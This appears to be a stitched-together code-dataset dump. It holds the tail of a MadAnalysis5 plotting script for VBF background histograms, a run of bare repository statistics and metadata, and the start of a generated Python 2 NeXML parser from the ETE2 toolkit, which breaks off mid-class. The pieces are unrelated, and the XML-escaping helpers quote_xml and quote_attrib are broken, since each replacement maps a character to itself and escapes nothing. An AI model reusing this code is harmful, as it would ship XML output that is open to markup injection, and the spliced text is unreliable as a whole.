weights=y14_THT_0_weights+y14_THT_1_weights+y14_THT_2_weights+y14_THT_3_weights+y14_THT_4_weights+y14_THT_5_weights+y14_THT_6_weights+y14_THT_7_weights,\ label="$bg\_vbf\_1200\_1600$", histtype="step", rwidth=1.0,\ color=None, edgecolor="#9b8e82", linewidth=1, linestyle="solid",\ bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical") pad.hist(x=xData, bins=xBinning, weights=y14_THT_0_weights+y14_THT_1_weights+y14_THT_2_weights+y14_THT_3_weights+y14_THT_4_weights+y14_THT_5_weights+y14_THT_6_weights,\ label="$bg\_vbf\_800\_1200$", histtype="step", rwidth=1.0,\ color=None, edgecolor="#876656", linewidth=1, linestyle="solid",\ bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical") pad.hist(x=xData, bins=xBinning, weights=y14_THT_0_weights+y14_THT_1_weights+y14_THT_2_weights+y14_THT_3_weights+y14_THT_4_weights+y14_THT_5_weights,\ label="$bg\_vbf\_600\_800$", histtype="step", rwidth=1.0,\ color=None, edgecolor="#afcec6", linewidth=1, linestyle="solid",\ bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical") pad.hist(x=xData, bins=xBinning, weights=y14_THT_0_weights+y14_THT_1_weights+y14_THT_2_weights+y14_THT_3_weights+y14_THT_4_weights,\ label="$bg\_vbf\_400\_600$", histtype="step", rwidth=1.0,\ color=None, edgecolor="#84c1a3", linewidth=1, linestyle="solid",\ bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical") pad.hist(x=xData, bins=xBinning, weights=y14_THT_0_weights+y14_THT_1_weights+y14_THT_2_weights+y14_THT_3_weights,\ label="$bg\_vbf\_200\_400$", histtype="step", rwidth=1.0,\ color=None, edgecolor="#89a8a0", linewidth=1, linestyle="solid",\ bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical") pad.hist(x=xData, bins=xBinning, weights=y14_THT_0_weights+y14_THT_1_weights+y14_THT_2_weights,\ label="$bg\_vbf\_100\_200$", histtype="step", rwidth=1.0,\ color=None, edgecolor="#829e8c", linewidth=1, linestyle="solid",\ bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical") pad.hist(x=xData, bins=xBinning, weights=y14_THT_0_weights+y14_THT_1_weights,\ label="$bg\_vbf\_0\_100$", histtype="step", rwidth=1.0,\ color=None, edgecolor="#adbcc6", linewidth=1, linestyle="solid",\ bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical") pad.hist(x=xData, bins=xBinning, weights=y14_THT_0_weights,\ label="$signal$", histtype="step", rwidth=1.0,\ color=None, edgecolor="#7a8e99", linewidth=1, linestyle="solid",\ bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical") # Axis plt.rc('text',usetex=False) plt.xlabel(r"THT",\ fontsize=16,color="black") plt.ylabel(r"$\mathrm{Events}$ $(\mathcal{L}_{\mathrm{int}} = 1000.0\ \mathrm{fb}^{-1})$ ",\ fontsize=16,color="black") # Boundary of y-axis ymax=(y14_THT_0_weights+y14_THT_1_weights+y14_THT_2_weights+y14_THT_3_weights+y14_THT_4_weights+y14_THT_5_weights+y14_THT_6_weights+y14_THT_7_weights+y14_THT_8_weights+y14_THT_9_weights+y14_THT_10_weights+y14_THT_11_weights+y14_THT_12_weights+y14_THT_13_weights+y14_THT_14_weights+y14_THT_15_weights+y14_THT_16_weights).max()*1.1 ymin=0 # linear scale #ymin=min([x for x in (y14_THT_0_weights+y14_THT_1_weights+y14_THT_2_weights+y14_THT_3_weights+y14_THT_4_weights+y14_THT_5_weights+y14_THT_6_weights+y14_THT_7_weights+y14_THT_8_weights+y14_THT_9_weights+y14_THT_10_weights+y14_THT_11_weights+y14_THT_12_weights+y14_THT_13_weights+y14_THT_14_weights+y14_THT_15_weights+y14_THT_16_weights) if x])/100. # log scale plt.gca().set_ylim(ymin,ymax) # Log/Linear scale for X-axis plt.gca().set_xscale("linear") #plt.gca().set_xscale("log",nonposx="clip") # Log/Linear scale for Y-axis plt.gca().set_yscale("linear") #plt.gca().set_yscale("log",nonposy="clip") # Legend plt.legend(bbox_to_anchor=(1.05,1), loc=2, borderaxespad=0.) # Saving the image plt.savefig('../../HTML/MadAnalysis5job_0/selection_13.png') plt.savefig('../../PDF/MadAnalysis5job_0/selection_13.png') plt.savefig('../../DVI/MadAnalysis5job_0/selection_13.eps') # Running! if __name__ == '__main__': selection_13()

98.443299

989

0.686564

4,665

19,098

2.654448

0.093891

0.384883

0.567391

0.743923

0.712751

0.704272

0.687636

0.684568

0

0.328386

0.086187

19,098

193

990

98.953368

0.38116

0.07074

0

0.185841

0

0.00885

0.057648

0.011462

0

1

0.00885

false

0

0.035398

0

0.044248

0

null

1

0

1

0

1

0

1

0

1

0

null

0

8

a8d25f36ebc7685921d0d972f7ed9baf4e1bda24

749,220

py

Python

ete2/nexml/_nexml.py

csc8630Spring2014/Clusterizer

f64b0cabfbf4fa117b73a2af9355f67cc9207fe5

[ "MIT" ]

1

2017-05-10T02:51:51.000Z

ete2/nexml/_nexml.py

csc8630Spring2014/Clusterizer

f64b0cabfbf4fa117b73a2af9355f67cc9207fe5

[ "MIT" ]

null

ete2/nexml/_nexml.py

csc8630Spring2014/Clusterizer

f64b0cabfbf4fa117b73a2af9355f67cc9207fe5

[ "MIT" ]

null

# -*- coding: utf-8 -*- # #START_LICENSE########################################################### # # # This file is part of the Environment for Tree Exploration program # (ETE). http://ete.cgenomics.org # # ETE is free software: you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # ETE is distributed in the hope that it will be useful, but WITHOUT # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY # or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public # License for more details. # # You should have received a copy of the GNU General Public License # along with ETE. If not, see <http://www.gnu.org/licenses/>. # # # ABOUT THE ETE PACKAGE # ===================== # # ETE is distributed under the GPL copyleft license (2008-2011). # # If you make use of ETE in published work, please cite: # # Jaime Huerta-Cepas, Joaquin Dopazo and Toni Gabaldon. # ETE: a python Environment for Tree Exploration. Jaime BMC # Bioinformatics 2010,:24doi:10.1186/1471-2105-11-24 # # Note that extra references to the specific methods implemented in # the toolkit are available in the documentation. # # More info at http://ete.cgenomics.org # # # #END_LICENSE############################################################# __VERSION__="ete2-2.2rev1056" #!/usr/bin/env python # -*- coding: utf-8 -*- # # Generated Mon Jun 27 10:13:44 2011 by generateDS.py version 2.5b. # import sys import getopt import re as re_ etree_ = None Verbose_import_ = False ( XMLParser_import_none, XMLParser_import_lxml, XMLParser_import_elementtree ) = range(3) XMLParser_import_library = None try: # lxml from lxml import etree as etree_ XMLParser_import_library = XMLParser_import_lxml if Verbose_import_: print("running with lxml.etree") except ImportError: try: # cElementTree from Python 2.5+ import xml.etree.cElementTree as etree_ XMLParser_import_library = XMLParser_import_elementtree if Verbose_import_: print("running with cElementTree on Python 2.5+") except ImportError: try: # ElementTree from Python 2.5+ import xml.etree.ElementTree as etree_ XMLParser_import_library = XMLParser_import_elementtree if Verbose_import_: print("running with ElementTree on Python 2.5+") except ImportError: try: # normal cElementTree install import cElementTree as etree_ XMLParser_import_library = XMLParser_import_elementtree if Verbose_import_: print("running with cElementTree") except ImportError: try: # normal ElementTree install import elementtree.ElementTree as etree_ XMLParser_import_library = XMLParser_import_elementtree if Verbose_import_: print("running with ElementTree") except ImportError: raise ImportError("Failed to import ElementTree from any known place") def parsexml_(*args, **kwargs): if (XMLParser_import_library == XMLParser_import_lxml and 'parser' not in kwargs): # Use the lxml ElementTree compatible parser so that, e.g., # we ignore comments. kwargs['parser'] = etree_.ETCompatXMLParser() doc = etree_.parse(*args, **kwargs) return doc # # User methods # # Calls to the methods in these classes are generated by generateDS.py. # You can replace these methods by re-implementing the following class # in a module named generatedssuper.py. try: from generatedssuper import GeneratedsSuper except ImportError, exp: class GeneratedsSuper(object): def gds_format_string(self, input_data, input_name=''): return input_data def gds_validate_string(self, input_data, node, input_name=''): return input_data def gds_format_integer(self, input_data, input_name=''): return '%d' % input_data def gds_validate_integer(self, input_data, node, input_name=''): return input_data def gds_format_integer_list(self, input_data, input_name=''): return '%s' % input_data def gds_validate_integer_list(self, input_data, node, input_name=''): values = input_data.split() for value in values: try: fvalue = float(value) except (TypeError, ValueError), exp: raise_parse_error(node, 'Requires sequence of integers') return input_data def gds_format_float(self, input_data, input_name=''): return '%f' % input_data def gds_validate_float(self, input_data, node, input_name=''): return input_data def gds_format_float_list(self, input_data, input_name=''): return '%s' % input_data def gds_validate_float_list(self, input_data, node, input_name=''): values = input_data.split() for value in values: try: fvalue = float(value) except (TypeError, ValueError), exp: raise_parse_error(node, 'Requires sequence of floats') return input_data def gds_format_double(self, input_data, input_name=''): return '%e' % input_data def gds_validate_double(self, input_data, node, input_name=''): return input_data def gds_format_double_list(self, input_data, input_name=''): return '%s' % input_data def gds_validate_double_list(self, input_data, node, input_name=''): values = input_data.split() for value in values: try: fvalue = float(value) except (TypeError, ValueError), exp: raise_parse_error(node, 'Requires sequence of doubles') return input_data def gds_format_boolean(self, input_data, input_name=''): return '%s' % input_data def gds_validate_boolean(self, input_data, node, input_name=''): return input_data def gds_format_boolean_list(self, input_data, input_name=''): return '%s' % input_data def gds_validate_boolean_list(self, input_data, node, input_name=''): values = input_data.split() for value in values: if value not in ('true', '1', 'false', '0', ): raise_parse_error(node, 'Requires sequence of booleans ("true", "1", "false", "0")') return input_data def gds_str_lower(self, instring): return instring.lower() def get_path_(self, node): path_list = [] self.get_path_list_(node, path_list) path_list.reverse() path = '/'.join(path_list) return path Tag_strip_pattern_ = re_.compile(r'\{.*\}') def get_path_list_(self, node, path_list): if node is None: return tag = GeneratedsSuper.Tag_strip_pattern_.sub('', node.tag) if tag: path_list.append(tag) self.get_path_list_(node.getparent(), path_list) # # If you have installed IPython you can uncomment and use the following. # IPython is available from http://ipython.scipy.org/. # ## from IPython.Shell import IPShellEmbed ## args = '' ## ipshell = IPShellEmbed(args, ## banner = 'Dropping into IPython', ## exit_msg = 'Leaving Interpreter, back to program.') # Then use the following line where and when you want to drop into the # IPython shell: # ipshell('<some message> -- Entering ipshell.\nHit Ctrl-D to exit') # # Globals # ExternalEncoding = 'utf-8' Tag_pattern_ = re_.compile(r'({.*})?(.*)') STRING_CLEANUP_PAT = re_.compile(r"[\n\r\s]+") # # Support/utility functions. # def showIndent(outfile, level): for idx in range(level): outfile.write(' ') def quote_xml(inStr): if not inStr: return '' s1 = (isinstance(inStr, basestring) and inStr or '%s' % inStr) s1 = s1.replace('&', '&') s1 = s1.replace('<', '<') s1 = s1.replace('>', '>') return s1 def quote_attrib(inStr): s1 = (isinstance(inStr, basestring) and inStr or '%s' % inStr) s1 = s1.replace('&', '&') s1 = s1.replace('<', '<') s1 = s1.replace('>', '>') if '"' in s1: if "'" in s1: s1 = '"%s"' % s1.replace('"', """) else: s1 = "'%s'" % s1 else: s1 = '"%s"' % s1 return s1 def quote_python(inStr): s1 = inStr if s1.find("'") == -1: if s1.find('\n') == -1: return "'%s'" % s1 else: return "'''%s'''" % s1 else: if s1.find('"') != -1: s1 = s1.replace('"', '\\"') if s1.find('\n') == -1: return '"%s"' % s1 else: return '"""%s"""' % s1 def get_all_text_(node): if node.text is not None: text = node.text else: text = '' for child in node: if child.tail is not None: text += child.tail return text def find_attr_value_(attr_name, node): attrs = node.attrib # First try with no namespace. value = attrs.get(attr_name) if value is None: # Now try the other possible namespaces. namespaces = node.nsmap.itervalues() for namespace in namespaces: value = attrs.get('{%s}%s' % (namespace, attr_name, )) if value is not None: break return value class GDSParseError(Exception): pass def raise_parse_error(node, msg): if XMLParser_import_library == XMLParser_import_lxml: msg = '%s (element %s/line %d)' % (msg, node.tag, node.sourceline, ) else: msg = '%s (element %s)' % (msg, node.tag, ) raise GDSParseError(msg) class MixedContainer: # Constants for category: CategoryNone = 0 CategoryText = 1 CategorySimple = 2 CategoryComplex = 3 # Constants for content_type: TypeNone = 0 TypeText = 1 TypeString = 2 TypeInteger = 3 TypeFloat = 4 TypeDecimal = 5 TypeDouble = 6 TypeBoolean = 7 def __init__(self, category, content_type, name, value): self.category = category self.content_type = content_type self.name = name self.value = value def getCategory(self): return self.category def getContenttype(self, content_type): return self.content_type def getValue(self): return self.value def getName(self): return self.name def export(self, outfile, level, name, namespace): if self.category == MixedContainer.CategoryText: # Prevent exporting empty content as empty lines. if self.value.strip(): outfile.write(self.value) elif self.category == MixedContainer.CategorySimple: self.exportSimple(outfile, level, name) else: # category == MixedContainer.CategoryComplex self.value.export(outfile, level, namespace,name) def exportSimple(self, outfile, level, name): if self.content_type == MixedContainer.TypeString: outfile.write('<%s>%s</%s>' % (self.name, self.value, self.name)) elif self.content_type == MixedContainer.TypeInteger or \ self.content_type == MixedContainer.TypeBoolean: outfile.write('<%s>%d</%s>' % (self.name, self.value, self.name)) elif self.content_type == MixedContainer.TypeFloat or \ self.content_type == MixedContainer.TypeDecimal: outfile.write('<%s>%f</%s>' % (self.name, self.value, self.name)) elif self.content_type == MixedContainer.TypeDouble: outfile.write('<%s>%g</%s>' % (self.name, self.value, self.name)) def exportLiteral(self, outfile, level, name): if self.category == MixedContainer.CategoryText: showIndent(outfile, level) outfile.write('model_.MixedContainer(%d, %d, "%s", "%s"),\n' % \ (self.category, self.content_type, self.name, self.value)) elif self.category == MixedContainer.CategorySimple: showIndent(outfile, level) outfile.write('model_.MixedContainer(%d, %d, "%s", "%s"),\n' % \ (self.category, self.content_type, self.name, self.value)) else: # category == MixedContainer.CategoryComplex showIndent(outfile, level) outfile.write('model_.MixedContainer(%d, %d, "%s",\n' % \ (self.category, self.content_type, self.name,)) self.value.exportLiteral(outfile, level + 1) showIndent(outfile, level) outfile.write(')\n') class MemberSpec_(object): def __init__(self, name='', data_type='', container=0): self.name = name self.data_type = data_type self.container = container def set_name(self, name): self.name = name def get_name(self): return self.name def set_data_type(self, data_type): self.data_type = data_type def get_data_type_chain(self): return self.data_type def get_data_type(self): if isinstance(self.data_type, list): if len(self.data_type) > 0: return self.data_type[-1] else: return 'xs:string' else: return self.data_type def set_container(self, container): self.container = container def get_container(self): return self.container def _cast(typ, value): if typ is None or value is None: return value return typ(value) # # Data representation classes. # class Base(GeneratedsSuper): """The base type for all complexType definitions in the nexml schema. This type allows a number of special attributes: xml:lang - for languages codes xml:base - see http://www.w3.org/TR/xmlbase/ xml:id - see http://www.w3.org/TR/xml-id/ xml:space - for whitespace handling xlink:href - for links Also see http://www.w3.org/2001/xml.xsd for more information on the xml and xlink attributes.""" subclass = None superclass = None def __init__(self, valueOf_=None): self.anyAttributes_ = {} def factory(*args_, **kwargs_): if Base.subclass: return Base.subclass(*args_, **kwargs_) else: return Base(*args_, **kwargs_) factory = staticmethod(factory) def get_anyAttributes_(self): return self.anyAttributes_ def set_anyAttributes_(self, anyAttributes_): self.anyAttributes_ = anyAttributes_ def export(self, outfile, level, namespace_='', name_='Base', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='Base') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='Base'): for name, value in self.anyAttributes_.items(): xsinamespaceprefix = 'xsi' xsinamespace1 = 'http://www.w3.org/2001/XMLSchema-instance' xsinamespace2 = '{%s}' % (xsinamespace1, ) if name.startswith(xsinamespace2): name1 = name[len(xsinamespace2):] name2 = '%s:%s' % (xsinamespaceprefix, name1, ) if name2 not in already_processed: already_processed.append(name2) outfile.write(' %s=%s' % (name2, quote_attrib(value), )) else: if name not in already_processed: already_processed.append(name) outfile.write(' %s=%s' % (name, quote_attrib(value), )) pass def exportChildren(self, outfile, level, namespace_='', name_='Base', fromsubclass_=False): pass def hasContent_(self): if ( ): return True else: return False def exportLiteral(self, outfile, level, name_='Base'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): for name, value in self.anyAttributes_.items(): showIndent(outfile, level) outfile.write('%s = "%s",\n' % (name, value,)) def exportLiteralChildren(self, outfile, level, name_): pass def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): self.anyAttributes_ = {} for name, value in attrs.items(): if name not in already_processed: self.anyAttributes_[name] = value def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): pass # end class Base class Meta(Base): subclass = None superclass = Base def __init__(self, valueOf_=None): super(Meta, self).__init__() pass def factory(*args_, **kwargs_): if Meta.subclass: return Meta.subclass(*args_, **kwargs_) else: return Meta(*args_, **kwargs_) factory = staticmethod(factory) def export(self, outfile, level, namespace_='', name_='Meta', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='Meta') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="Meta"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='Meta'): super(Meta, self).exportAttributes(outfile, level, already_processed, namespace_, name_='Meta') def exportChildren(self, outfile, level, namespace_='', name_='Meta', fromsubclass_=False): super(Meta, self).exportChildren(outfile, level, namespace_, name_, True) pass def hasContent_(self): if ( super(Meta, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='Meta'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(Meta, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(Meta, self).exportLiteralChildren(outfile, level, name_) pass def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(Meta, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): super(Meta, self).buildChildren(child_, node, nodeName_, True) pass # end class Meta class ResourceMeta(Meta): """Metadata annotations in which the object is a resource. If this element contains meta elements as children, then the object of this annotation is a "blank node".""" subclass = None superclass = Meta def __init__(self, href=None, rel=None, meta=None, valueOf_=None): super(ResourceMeta, self).__init__() self.href = _cast(None, href) self.rel = _cast(None, rel) if meta is None: self.meta = [] else: self.meta = meta def factory(*args_, **kwargs_): if ResourceMeta.subclass: return ResourceMeta.subclass(*args_, **kwargs_) else: return ResourceMeta(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_href(self): return self.href def set_href(self, href): self.href = href def get_rel(self): return self.rel def set_rel(self, rel): self.rel = rel def export(self, outfile, level, namespace_='', name_='ResourceMeta', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='ResourceMeta') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="ResourceMeta"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='ResourceMeta'): super(ResourceMeta, self).exportAttributes(outfile, level, already_processed, namespace_, name_='ResourceMeta') if self.href is not None and 'href' not in already_processed: already_processed.append('href') outfile.write(' href=%s' % (quote_attrib(self.href), )) if self.rel is not None and 'rel' not in already_processed: already_processed.append('rel') outfile.write(' rel=%s' % (quote_attrib(self.rel), )) def exportChildren(self, outfile, level, namespace_='', name_='ResourceMeta', fromsubclass_=False): super(ResourceMeta, self).exportChildren(outfile, level, namespace_, name_, True) for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') def hasContent_(self): if ( self.meta or super(ResourceMeta, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='ResourceMeta'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.href is not None and 'href' not in already_processed: already_processed.append('href') showIndent(outfile, level) outfile.write('href = %s,\n' % (self.href,)) if self.rel is not None and 'rel' not in already_processed: already_processed.append('rel') showIndent(outfile, level) outfile.write('rel = %s,\n' % (self.rel,)) super(ResourceMeta, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(ResourceMeta, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('href', node) if value is not None and 'href' not in already_processed: already_processed.append('href') self.href = value value = find_attr_value_('rel', node) if value is not None and 'rel' not in already_processed: already_processed.append('rel') self.rel = value super(ResourceMeta, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) super(ResourceMeta, self).buildChildren(child_, node, nodeName_, True) # end class ResourceMeta class LiteralMeta(Meta): """Metadata annotations in which the object is a literal value. If the @content attribute is used, then the element should contain no children.""" subclass = None superclass = Meta def __init__(self, datatype=None, content=None, property=None, valueOf_=None): super(LiteralMeta, self).__init__() self.datatype = _cast(None, datatype) self.content = _cast(None, content) self.property = _cast(None, property) pass def factory(*args_, **kwargs_): if LiteralMeta.subclass: return LiteralMeta.subclass(*args_, **kwargs_) else: return LiteralMeta(*args_, **kwargs_) factory = staticmethod(factory) def get_datatype(self): return self.datatype def set_datatype(self, datatype): self.datatype = datatype def get_content(self): return self.content def set_content(self, content): self.content = content def get_property(self): return self.property def set_property(self, property): self.property = property def export(self, outfile, level, namespace_='', name_='LiteralMeta', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='LiteralMeta') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="LiteralMeta"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='LiteralMeta'): super(LiteralMeta, self).exportAttributes(outfile, level, already_processed, namespace_, name_='LiteralMeta') if self.datatype is not None and 'datatype' not in already_processed: already_processed.append('datatype') outfile.write(' datatype=%s' % (quote_attrib(self.datatype), )) if self.content is not None and 'content' not in already_processed: already_processed.append('content') outfile.write(' content=%s' % (self.gds_format_string(quote_attrib(self.content).encode(ExternalEncoding), input_name='content'), )) if self.property is not None and 'property' not in already_processed: already_processed.append('property') outfile.write(' property=%s' % (quote_attrib(self.property), )) def exportChildren(self, outfile, level, namespace_='', name_='LiteralMeta', fromsubclass_=False): super(LiteralMeta, self).exportChildren(outfile, level, namespace_, name_, True) pass def hasContent_(self): if ( super(LiteralMeta, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='LiteralMeta'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.datatype is not None and 'datatype' not in already_processed: already_processed.append('datatype') showIndent(outfile, level) outfile.write('datatype = %s,\n' % (self.datatype,)) if self.content is not None and 'content' not in already_processed: already_processed.append('content') showIndent(outfile, level) outfile.write('content = "%s",\n' % (self.content,)) if self.property is not None and 'property' not in already_processed: already_processed.append('property') showIndent(outfile, level) outfile.write('property = %s,\n' % (self.property,)) super(LiteralMeta, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(LiteralMeta, self).exportLiteralChildren(outfile, level, name_) pass def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('datatype', node) if value is not None and 'datatype' not in already_processed: already_processed.append('datatype') self.datatype = value value = find_attr_value_('content', node) if value is not None and 'content' not in already_processed: already_processed.append('content') self.content = value value = find_attr_value_('property', node) if value is not None and 'property' not in already_processed: already_processed.append('property') self.property = value super(LiteralMeta, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): super(LiteralMeta, self).buildChildren(child_, node, nodeName_, True) pass # end class LiteralMeta class attrExtensions(GeneratedsSuper): """This element is for use in WSDL 1.1 only. It does not apply to WSDL 2.0 documents. Use in WSDL 2.0 documents is invalid.""" subclass = None superclass = None def __init__(self, valueOf_=None): self.anyAttributes_ = {} def factory(*args_, **kwargs_): if attrExtensions.subclass: return attrExtensions.subclass(*args_, **kwargs_) else: return attrExtensions(*args_, **kwargs_) factory = staticmethod(factory) def get_anyAttributes_(self): return self.anyAttributes_ def set_anyAttributes_(self, anyAttributes_): self.anyAttributes_ = anyAttributes_ def export(self, outfile, level, namespace_='', name_='attrExtensions', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='attrExtensions') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='attrExtensions'): for name, value in self.anyAttributes_.items(): xsinamespaceprefix = 'xsi' xsinamespace1 = 'http://www.w3.org/2001/XMLSchema-instance' xsinamespace2 = '{%s}' % (xsinamespace1, ) if name.startswith(xsinamespace2): name1 = name[len(xsinamespace2):] name2 = '%s:%s' % (xsinamespaceprefix, name1, ) if name2 not in already_processed: already_processed.append(name2) outfile.write(' %s=%s' % (name2, quote_attrib(value), )) else: if name not in already_processed: already_processed.append(name) outfile.write(' %s=%s' % (name, quote_attrib(value), )) pass def exportChildren(self, outfile, level, namespace_='', name_='attrExtensions', fromsubclass_=False): pass def hasContent_(self): if ( ): return True else: return False def exportLiteral(self, outfile, level, name_='attrExtensions'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): for name, value in self.anyAttributes_.items(): showIndent(outfile, level) outfile.write('%s = "%s",\n' % (name, value,)) def exportLiteralChildren(self, outfile, level, name_): pass def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): self.anyAttributes_ = {} for name, value in attrs.items(): if name not in already_processed: self.anyAttributes_[name] = value def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): pass # end class attrExtensions class AbstractMapping(Base): """The AbstractMapping type is the superclass for an ambiguity mapping. In an instance document, a subclass of this type will look like <member state="st1"/>, i.e. an element called "member" with an attribute called "state" whose value is an id reference that refers to an element that subclasses AbstractState. The purpose of AbstractMapping is to specify which other states may be implied, e.g. a nucleotide symbol "N" would have mappings to "A", "C", "G" and "T".""" subclass = None superclass = Base def __init__(self, state=None, valueOf_=None): super(AbstractMapping, self).__init__() self.state = _cast(None, state) pass def factory(*args_, **kwargs_): if AbstractMapping.subclass: return AbstractMapping.subclass(*args_, **kwargs_) else: return AbstractMapping(*args_, **kwargs_) factory = staticmethod(factory) def get_state(self): return self.state def set_state(self, state): self.state = state def export(self, outfile, level, namespace_='', name_='AbstractMapping', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractMapping') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="AbstractMapping"') if 